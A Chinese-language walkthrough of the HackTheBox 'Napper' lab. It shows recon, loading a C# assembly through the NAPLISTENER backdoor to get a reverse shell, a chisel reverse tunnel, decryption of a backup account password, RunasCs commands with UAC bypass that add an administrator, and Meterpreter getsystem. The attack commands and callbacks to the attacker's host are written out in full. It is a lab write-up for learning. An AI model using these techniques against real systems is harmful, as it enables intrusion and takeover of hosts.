Napper是HackTheBox上一个Hard难度的靶场,我在2月2日取得了User权限,到2月8日采取Root权限。
从一般用户到root用户过程中,我花了特别长的时间;令人苦恼的是从最开始做出来到如今写Writeup,跨越了大半年,当初遇到的坑如今还是跳进去了。

端口扫描

常规的端口扫描,识别到服务器开放了80和443端口。

$ nmap -n -p- --min-rate=5000 10.129.229.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 10:05 CDT
Nmap scan report for 10.129.229.166
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 26.83 seconds

$ sudo nmap -sU -n -p- --min-rate=5000 10.129.229.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 10:06 CDT
Nmap scan report for 10.129.229.166
Host is up (0.17s latency).
All 65535 scanned ports on 10.129.229.166 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 28.20 seconds

web 80/443

往80端口请求时会跳转至https://app.napper.htb/,对域名进行扫描之后识别到了internal.napper.htb这个域名。

$ ffuf -u https://10.129.229.166 -H "Host: FUZZ.napper.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 400 -fs 5602

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : https://10.129.229.166
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.napper.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 400
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 5602
________________________________________________

internal [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 156ms]
:: Progress: [114441/114441] :: Job [1/1] :: 2754 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

直接访问https://internal.napper.htb/时会提示需要认证,在https://app.napper.htb/posts/setup-basic-auth-powershell/文章中,介绍了如何通过Powershell给IIS添加Basic认证,其中示例脚本的用户凭证(example/ExamplePassword)正好可以登录。

里面有一篇内部文章,介绍对NAPLISTENER的分析。

信息如下:

So it is a backdoor:

HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection.
In the sanbox I can’t find the URL.

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
Currently we are not sure on how to proceed.

2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
2023-04-23: Starting the RE process. Not sure on how to approach.
2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
2023-04-22: Got the copy of the backdoor, running in sandbox

参考链接为:

NAPLISTENER

取得样本

在靶场环境,往https://sandbox.napper.htb/ews/MsExgHealthCheckd/发送POST请求可以得到404的响应码。

猜测靶场环境的意图是希望用户去复现NAPLISTENER攻击过程,并使用相关payload攻击靶场、拿到权限。

elastic security labs分析文章中给出了检测是否感染NAPLISTENERyara规则,其中样本的hash如下:6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4

我在寻找样本的途径中,找到如下云沙箱资源:

在微步沙箱下载样本之后,搭建虚拟机环境运行样本。

环境搭建

参照如下文章配置IIS服务器的SSL证书,并添加绑定,启用HTTPs服务:
如何在 IIS 7 或更高版本上设置 SSL

完成设置之后,可以正常访问首页,访问/ews/MsExgHealthCheckd/时报错,注意此时报错界面是IIS服务器默认的404页面。

双击运行样本之后,此时再次访问上述URI,仍提示404,但并非IIS默认404页面,说明此时样本已接管对该URI的请求。

使用dnSpy对木马样本进行调试,附加到木马样本进程,在Listener出下断点,刷新页面,可以观察到已捕捉中断:

调试过程中发现有一些本地变量无法取到值,搜索之后的结果是需要取消IIS对程序的优化,参考Making an Image Easier to Debug,创建与可执行文件同名的ini文件,内容如下:

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

再次调试,发现已经没有了优化:

注:调试时发现,似乎只有Listener函数的for (;;){...}里面的代码内容可以捕获断点?🤔
(可能其余的地方初始化的时候执行过之后后面就不执行了。真正木马监听过程就在for (;;){...}循环中)

核心的漏洞利用代码是:

if (httpRequest.Form["sdafwe3rwe23"] != null)
{
Assembly assembly = Assembly.Load(Convert.FromBase64String(httpRequest.Form["sdafwe3rwe23"]));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(httpContext);
httpContext.Response.End();
}

代码作用是检查POST数据中sdafwe3rwe23参数中是否为空,不为空时使用Base64解码该参数值,使用Assembly.Load加载数据,创建程序名+.Run的实例,并调用其Equals函数。

(注:我在IppSec观看的视频解题记录时发现没有Equals函数也能成功反弹Shell,这有点奇怪?🤔)

编写payload

参照Creating and Using DLL (Class Library) in C#创建项目,并编译dll文件。
需要注意的是,项目类型需要选择.Net Framework的Class Library,而不是标准C#类库。

示例代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Napper1
{
public class Run
{

public override bool Equals(object obj)
{
bool result = false;
Console.WriteLine("Hello World!");
return result;
}
}
}

编译并base64编码之后,传入测试环境,可以成功打印Hello World!

改用执行命令代码之后,成功拿到Cobalt Strike反弹Shell:

靶场反弹Shell

在靶场环境测试时,可以看到靶机服务器的请求,但是并没有反弹Shell:

那问题出在哪里呢?😢

将代码编译的平台设置为x86之后,成功拿下shell,当前用户是ruben:

2024-10-13 14:13:02 补充:
还有需要使用HTTP/1.1版本发送POST数据包,而不是HTTP/2

用户权限ruben提权

C:/Temp/www目录里有如下一篇名为posts/no-more-laps.md的文章,介绍打算用自研产品替代LAPS

---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---

# Intro

We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.

IT will deploy the decryption client to the admin desktops once it it ready.

We do expect the development to be ready soon. The Malware RE team will be the first test group.

internal-laps-alpha目录里包含隐藏文件.env和可执行文件a.exe

ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here

ELASTICURI=https://127.0.0.1:9200

a.exe分析

了解一个未知可执行文件有很多方式,比如直接搜索网络文章、逆向分析等,我这里选择直接将文件放在虚拟机里进行调试。

直接运行a.exe时会程序提示报错:2024/07/27 08:17:44 Error getting response: dial tcp 127.0.0.1:9200: connectex: No connection could be made because the target machine actively refused it.

在kali虚拟机环境运行chisel服务端程序,设置允许客户端反向代理连接:./chisel server --host 10.10.16.35 --port 8090 --reverse --socks5
上传chisel.exe至靶机环境,连接chisel服务端、并设置反向连接:chisel.exe client http://10.10.16.35:8090 R:1088:socks

(注:这里反向连接端口并没有设置成常用的1080,设置成1080连接时遇到报错,可能其他程序占用了这个端口、没有进一步分析。)

此时在kali虚拟机,使用ss -ntlp查看本地端口情况,发现反向代理的已启用,kali本地chisel已监听127.0.0.1:1088。监听端口只能在kali虚拟机本地使用,无法在windows虚拟机里使用该代理。

即在反向连接模式下,客户端连接时设置的<remote>参数如果省略了<remote-host>字段(R:1088:socks),默认监听本地端口,如果需要监听指定网口,需要单独设置,设置为0.0.0.0时,监听所有端口(R:0.0.0.0:1088:socks)。

在Windows虚拟机中,使用Proxifier设置代理服务器为kali的反向连接监听端口,并将a.exe流量指向该代理服务,再次运行a.exe,火绒会有修改密码的提示:

环境网络配置情况如下如:

步骤:

  1. chisel代理设置
  2. Proxifier设置代理服务器为BurpSuite并将a.exe流量指向该代理
  3. BurpSuite设置Socks服务器地址为127.0.0.1:1082

流量详情

通过流量抓取,运行a.exe过程中一共有3个请求:

我猜测3个请求的作用是:

  1. 从ES获取随机数种子
  2. 创建/user-00001节点,如果已创建则忽略
  3. 更新密码,并将更新之后的密码回传服务器

既然随机数种子是从服务器端得到的,那可以同一时刻内我们在本地环境生成的随机密码和在服务器环境生成的密码应该是一致的。

又经过长时间的测试,我发现并不是我上面猜想那样的,原因有二:

  1. 用本地环境生成的密码,在服务器上运行RunasCs软件,提示密码错误;

  2. 在本地环境里面,较短的时间间隔里面运行两次程序,会生成不同的新密码。
    password-1

password-2

那么,可能的情况是a.exe会利用服务器提供的随机数种子生成密钥,然后用密钥来加密随机生成的密码。

如果是这种情况,那么需要逆向出流量里面第三个请求的加密逻辑,以及它和第一部分随机数种子的关系。

加密过程

对程序进行逆向分析及动态调试,定位到加密相关的关键函数在main::main.encrypt

加密方式为AES_CFB

动态调试得到AES的密钥Key:

使用CyberChef可以完成解密:

使用解密的密码,成功使用RunasCs添加管理员:

c:\users\ruben\documents>RunasCS.exe backup lAMGZMdcDWIPdQCArwWtVyyQIRkwHCuKUxoibOLi "cmd /c net user admin admin123_ /add" --bypass-uac
The command completed successfully.


c:\users\ruben\documents>RunasCS.exe backup lAMGZMdcDWIPdQCArwWtVyyQIRkwHCuKUxoibOLi "cmd /c net localgroup administrators admin /add " --bypass-uac
The command completed successfully.

Administrator权限

使用meterpreter的getsystem提权:

c:\users\ruben\documents>runascs.exe admin admin123_ reverse-16.7-4444.exe -b -l 8

[*] Sending stage (176198 bytes) to 10.129.229.166
runascs.exe admin admin123_ reverse-16.7-4444.exe -b -l 8
[*] Warning: User profile directory for user admin does not exists. Use --force-profile if you want to force the creation.
^C
Terminate channel 1? [y/N] [*] Meterpreter session 4 opened (10.10.16.7:4444 -> 10.129.229.166:65299) at 2024-10-13 23:26:35 +0800

^C
Terminate channel 1? [y/N] y
meterpreter > back
[-] Unknown command: back. Run the help command for more details.
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x86/windows NAPPER\ruben @ NAPPER 10.10.16.7:4444 -> 10.129.229.166:58440 (10.129.229.166)
4 meterpreter x86/windows NAPPER\admin @ NAPPER 10.10.16.7:4444 -> 10.129.229.166:65299 (10.129.229.166)

msf6 exploit(multi/handler) > sessions 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : NAPPER
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x86/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > sysinfo
Computer : NAPPER
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x86/windows
meterpreter > shell
Process 2080 created.
Channel 1 created.
meterpreter > whoami /all
[-] Unknown command: whoami. Run the help command for more details.
meterpreter >
meterpreter > ls
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > cd 'c:\users\administrator\desktop'
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > shell
Process 3568 created.
Channel 2 created.
meterpreter > dir
Listing: c:\users\administrator\desktop
=======================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 2348 fil 2023-06-08 18:13:06 +0800 Microsoft Edge.lnk
100666/rw-rw-rw- 282 fil 2023-06-08 18:12:57 +0800 desktop.ini
100444/r--r--r-- 34 fil 2024-10-13 13:41:16 +0800 root.txt

meterpreter > type root.txt
[-] Unknown command: type. Run the help command for more details.
meterpreter > cat root.txt
a704————————————————————3ce
meterpreter >

总结

我时不时会有一些设想,但如何快速验证这些设想是否合理目前我自己没有找到好办法。
需要一些反馈与总结。